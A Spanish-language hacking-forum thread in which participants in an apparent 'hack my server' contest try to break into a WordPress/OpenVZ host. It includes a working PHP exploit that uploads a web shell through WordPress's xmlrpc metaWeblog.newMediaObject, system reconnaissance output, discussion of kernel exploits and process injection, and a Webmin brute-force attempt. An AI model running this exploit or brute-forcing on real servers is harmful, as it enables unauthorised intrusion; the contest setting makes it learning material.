Hack my server II

Iniciado por dimitrix, 28 Junio 2014, 20:09 PM

0 Miembros y 4 Visitantes están viendo este tema.

dRak0

#150
Bueno , voy a explicar algo que desconocia y que descubri buscando formas diferentes de subir shell.


Luego de poder entrar via SQLi ya sea desde el wordpress o el phpmyadmin ,empeze a buscar otras formas. Leyendo el source de wordpress , encontre un archivo muy lindo llamado xmlrpc.php(No lo pongo porque no me deja poner mucho texto)

Despues de leerlo todo , no lo podia creer lo servido que estaba.

Observemos esta funcion:


Código (php) [Seleccionar]

/* metaweblog.newMediaObject uploads a file, following your settings */
function mw_newMediaObject($args) {
// adapted from a patch by Johann Richard
// http://mycvs.org/archives/2004/06/30/file-upload-to-wordpress-in-ecto/

global $wpdb;

$blog_ID     = $wpdb->escape($args[0]);
$user_login  = $wpdb->escape($args[1]);
$user_pass   = $wpdb->escape($args[2]);
$data        = $args[3];

$name = $data['name'];
$type = $data['type'];
$bits = $data['bits'];

logIO('O', '(MW) Received '.strlen($bits).' bytes');

if ( !$this->login_pass_ok($user_login, $user_pass) )
return $this->error;

set_current_user(0, $user_login);
if ( !current_user_can('upload_files') ) {
logIO('O', '(MW) User does not have upload_files capability');
$this->error = new IXR_Error(401, 'You are not allowed to upload files to this site.');
return $this->error;
}

$upload = wp_upload_bits($name, $type, $bits);
if ( ! empty($upload['error']) ) {
logIO('O', '(MW) Could not write file '.$name);
return new IXR_Error(500, 'Could not write file '.$name);
}

return array('url' => $upload['url']);
}




Sisi muchachos , hace un upload! Entonces simplemente creo un exploit...

Código (php) [Seleccionar]

<?php
include_once("class-IXR.php");

echo 
"Exploit para concurso de elhacker.net";

$cliente=new IXR_CLIENT('http://IP/xmlrpc.php');

$tamano=filesize('shell.php');
$archivo=fopen('shell.php','rb');
$data=fread($archivo,$tamano);
fclose($archivo);

$shell=array(
'name'=>"shell.php",
'type'=>"application/php",
'bits'=>new IXR_Base64($data)
);

$cliente->query('metaWeblog.newMediaObject',array(
0,
"ret2libc",
"password",
$shell
));

print_r($cliente->getResponse());

echo 
"Check bitch!";




?>




Class-IXR.php lo pueden encontrar en wordpress. No lo voy a postear.

Bueno , aprendi algo nuevo y lo comparto.Y encima repase algo de php que estaba bastante oxidado.

dRak0

/vz/vms/84472/private on / type simfs (rw,relatime)
proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
none on /dev/pts type devpts (rw,nosuid,noexec,relatime,mode=600,ptmxmode=000)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)
none on /sys/fs/cgroup type tmpfs (rw,relatime,size=4k,mode=755)
none on /run type tmpfs (rw,nosuid,noexec,relatime,size=104860k,mode=755)
none on /dev/shm type tmpfs (rw,relatime)
none on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
none on /run/shm type tmpfs (rw,nosuid,nodev,relatime)
none on /run/user type tmpfs (rw,nosuid,nodev,noexec,relatime,size=102400k,mode=755)


MinusFour

Cita de: ret2libc en  3 Agosto 2014, 08:39 AM
/vz/vms/84472/private on / type simfs (rw,relatime)
proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
none on /dev/pts type devpts (rw,nosuid,noexec,relatime,mode=600,ptmxmode=000)
none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw,nosuid,nodev,noexec,relatime)
none on /sys/fs/cgroup type tmpfs (rw,relatime,size=4k,mode=755)
none on /run type tmpfs (rw,nosuid,noexec,relatime,size=104860k,mode=755)
none on /dev/shm type tmpfs (rw,relatime)
none on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k)
none on /run/shm type tmpfs (rw,nosuid,nodev,relatime)
none on /run/user type tmpfs (rw,nosuid,nodev,noexec,relatime,size=102400k,mode=755)



:O Me parece que esto explica porque uname -a nos devuelve que es Red Hat XD.

dRak0

Pregunta : ¿Hay alguna forma de crear un hilo en un proceso remoto como en windows?Me refiero a CreateRemoteThread() . Tratar de escribir en un proceso remoto que sea root y ejecutar un createremotethread desde el lugar que escribimos en ese proceso remoto y asi ejecutar una shellcode.

Esto lo hize en windows , no tengo idea si se puede en GNU/Linux.

MinusFour

Cita de: ret2libc en  3 Agosto 2014, 09:29 AM
Pregunta : ¿Hay alguna forma de crear un hilo en un proceso remoto como en windows?Me refiero a CreateRemoteThread() . Tratar de escribir en un proceso remoto que sea root y ejecutar un createremotethread desde el lugar que escribimos en ese proceso remoto y asi ejecutar una shellcode.

Esto lo hize en windows , no tengo idea si se puede en GNU/Linux.

Después de 25 minutos de Jugaad, parece que no.

https://www.youtube.com/watch?v=Nm5htFWAVUE

Vaya, si puedes inyectar código en procesos que son tuyos a través de ptrace() pero no puedes inyectar a un proceso del root. Y también tiene que estar habilitado en el kernel (en la conferencia, mencionan que ubuntu lo tiene desactivado desde la 10.04 en adelante).

Baal_30

Veo que hemos llegado a un punto muerto, no ¿? :/

Yo sigo mirando el tema, pero uff tengo tanto por aprender!
«La suerte es el cuidado de los detalles». -Winston Churchill

xustyx

Eso parece... En parte creo que x los permisos de webmin ... Que alguien modifico.

#!drvy

#157
Aquí hay algo muy raro xD

uname -r
2.6.32-042stab084.14

cat /proc/version
Linux version 2.6.32-042stab084.14...

cat /etc/issue
Ubuntu 13.10 \n \l

lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 13.10
Release: 13.10
Codename: saucy


Todo indica que es un ubuntu 13.10 (saucy) con el kernel 2.6.. sin embargo, segun ubuntu, SaucySalamander viene con el 3.11 ... Lo puedo confirmar porque me descargue la iso de 13.10 y el uname -r me tira 3.11.. la unica version de ubuntu que viene con el 2.6.32 es la 10.04 LTS -____-

http://en.wikipedia.org/wiki/List_of_Ubuntu_releases#Table_of_versions

En fin, leyendo un poco, resulta que OVH usa "distros" personalizadas:

http://serverfault.com/questions/586171/cant-update-linux-kernel-on-vps
http://forum.kimsufi.com/showthread.php?20971-weird-kernels-where-to-get-sources-for-OVH-kernels
http://forum.ovh.co.uk/showthread.php?239-Custom-kernel

Tamos jodidos xD

Saludos

MinusFour

#158
Cita de: #!drvy en  4 Agosto 2014, 01:15 AM
Aquí hay algo muy raro xD

uname -r
2.6.32-042stab084.14

cat /proc/version
Linux version 2.6.32-042stab084.14...

cat /etc/issue
Ubuntu 13.10 \n \l

lsb_release -a
Distributor ID: Ubuntu
Description: Ubuntu 13.10
Release: 13.10
Codename: saucy


Todo indica que es un ubuntu 13.10 (saucy) con el kernel 2.6.. sin embargo, segun ubuntu, SaucySalamander viene con el 3.11 ... Lo puedo confirmar porque me descargue la iso de 13.10 y el uname -r me tira 3.11.. la unica version de ubuntu que viene con el 2.6.32 es la 10.04 LTS -____-

http://en.wikipedia.org/wiki/List_of_Ubuntu_releases#Table_of_versions

En fin, leyendo un poco, resulta que OVH usa "distros" personalizadas:

http://serverfault.com/questions/586171/cant-update-linux-kernel-on-vps
http://forum.kimsufi.com/showthread.php?20971-weird-kernels-where-to-get-sources-for-OVH-kernels
http://forum.ovh.co.uk/showthread.php?239-Custom-kernel

Tamos jodidos xD

Saludos

Lo que pasa es que está usando un sistema virtualizado, OVH aquí está usando OpenVz (hay otros sistemas en OVH). Si te das cuenta en el /proc/mounts aparece la ruta del disco duro del sistema virtualizado en el host. Lo ha puesto ret2libc.

http://en.wikipedia.org/wiki/OpenVZ

Encontre un exploit que podría funcionar, salio hace un mes, el problema es que necesito compilarlo ahí en el host xD y otros pequeños detalles también.

Voy a intentar a hacer brute force al webmin con root a ver si tiene una contraseña débil.

Edit: Error - Access denied for x.x.x.x. The host has been blocked because of too many authentication failures. NOUP.

#!drvy

Hmm cierto, no me había fijado en el post ..

Saludos